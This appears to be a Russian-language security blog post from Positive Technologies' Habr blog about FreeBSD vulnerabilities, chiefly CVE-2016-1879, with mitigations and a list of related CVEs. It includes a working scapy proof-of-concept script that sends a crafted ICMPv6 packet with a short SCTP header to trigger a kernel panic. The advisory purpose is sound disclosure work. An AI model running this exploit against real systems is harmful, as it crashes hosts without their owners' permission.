Во FreeBSD обнаружены критически опасные уязвимости

в 14:49, , рубрики: freebsd, Блог компании Positive Technologies, информационная безопасность, уязвимости

Во FreeBSD обнаружены критически опасные уязвимости - 1

Команда проекта FreeBSD сообщает, что в операционной системе обнаружен ряд критически опасных уязвимостей, позволяющих злоумышленникам проводить атаки, направленные на отказ в обслуживании, повышать привилегии и раскрывать важные данные.

Уязвимость, связанная с некорректной обработкой сообщений ICMPv6 в стеке SCTP (CVE-2016-1879)

SCTP (Stream Control Transmission Protocol — «протокол передачи с управлением потоком») — это протокол транспортного уровня, который разработан для передачи сообщений сигнализации телефонных сетей в IP-среде. В основном данный протокол используется в технологических сетях операторов связи.

Этой уязвимости подвержены версии FreeBSD 9.3, 10.1 и 10.2 в том случае, если они сконфигурированы с поддержкой протоколов SCTP и IPv6 (конфигурация по умолчанию). Для эксплуатации ошибки злоумышленнику требуется отправить специально сформированное сообщение ICMPv6. Успешная эксплуатация позволяет реализовать атаку на отказ в обслуживании (DoS).

DoS возникает из-за недостаточной проверки длины заголовка SCTP-пакета, полученного в ICMPv6-сообщении об ошибке. Когда адресат недоступен, маршрутизатор может сгенерировать сообщение об ошибке и переслать его отправителю через ICMPv6.

В такой ICMPv6-пакет вложен оригинальный IPv6-пакет, в котором поле Next Header указывает на то, как протокол верхнего уровня инкапсулируется. В данном случае это SCTP.

Во FreeBSD обнаружены критически опасные уязвимости - 2

Когда ядро получает по ICMPv6 сообщение об ошибке, оно находит в нем пакет протокола верхнего уровня и передает его соответствующему обработчику (в данном случае sctp6_ctlinput()).

Когда ядро получает по ICMPv6 сообщение об ошибке, оно находит в нем пакет протокола верхнего уровня и передает его соответствующему обработчику (в данном случае sctp6_ctlinput()). Обработчик SCTP предполагает, что входной пакет содержит заголовок достаточной длины, пытается скопировать его с помощью m_copydata(), в которую передаются значения смещения и количество байтов, которое требуется считать. Поскольку ожидается блок данных размером 12 байт, если отправить пакет с SCTP-заголовком меньше 12 байт, то происходит разыменование нулевого указателя, что вызывает критический сбой ядра системы (kernel panic).

Для эксплуатации уязвимости наличие открытого SCTP-сокета необязательно.
Создать ICMPv6-пакет для осуществления атаки можно с помощью scapy. На Хабре немало статей, посвященных этому мощному инструменту (например, эта и эта статьи).

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
import argparse
from scapy.all import *
 
 
def get_args():
    parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
    parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
    parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
    parser.add_argument("-I", "--iface", type=str, help="Iface")
    options = parser.parse_args()
 
    if options.dst_mac is None or options.dst_ipv6 is None:
        parser.print_help()
        exit()
 
    return options
 
 
if __name__ == '__main__':
    options = get_args()
 
    sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
                                                                                               src=options.dst_ipv6,
                                                                                               dst='fe80::230:56ff:fea6:648c'),
          iface=options.iface)

Видеодемонстрация атаки:

Для того чтобы обезопасить себя от атаки с использованием данной ошибки безопасности, следует сделать следующее:

  • отключить IPv6-адресацию, если она не требуется;
  • заблокировать трафик ICMPv6 или IPv6 на межсетевом экране;
  • отключить поддержку стека SCTP в ядре операционной системы — если он не нужен (потребуется перекомпиляция ядра).

Для устранения уязвимости можно использовать патч от производителя, который вносит дополнительные проверки в обработку ICMPv6-сообщений в SCTP-стек. И нужно будет перекомпилировать ядро.

Это еще не все

Помимо этого, в системе обнаружен еще целый ряд серьезных уязвимостей. Разработчики FreeBSD выпустили несколько патчей, устраняющих эти ошибки:

  1. Уязвимость, позволяющая осуществить DoS-атаку из-за ошибки, возникающей при обработке соединений TCP с включенными опциями сокета TCP_MD5SIG и TCP_NOOPT. Для успешной эксплуатации злоумышленнику необходимо открыть прослушивающий сокет с включенной опцией TCP_NOOPT. (CVE-2016-1882, патч);
  2. Уязвимость, позволяющая локальному пользователю повысить привилегии или вызвать отказ в обслуживании: это возможно вследствие ошибки контроля доступа, позволяющей перезаписать случайные участки памяти с помощью специально сформированных системных вызовов слоя совместимости Linux setgroups(2). (CVE-2016-1881, патч);
  3. Из-за ошибки в списках Linux robust futex хакеры получают возможность раскрывать данные системной памяти (CVE-2016-1880, патч);
  4. Небезопасные дефолтные настройки безопасности, разрешающие доступ к файлу конфигурации демона bsnmpd “/etc/bsnmpd.conf” (CVE-2015-5677, патч).

Во избежание проблем, связанных с эксплуатацией указанных уязвимостей, эксперты Positive Technologies рекомендуют пользоваться IPv6-адресацией только в том случае, если она требуется для функционирования приложений, своевременно устанавливать обновления безопасности от разработчиков ОС и использовать специализированные инструменты для контроля защищенности системы (например, MaxPatrol) для контроля защищенности системы.

Автор: Positive Technologies

Источник


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js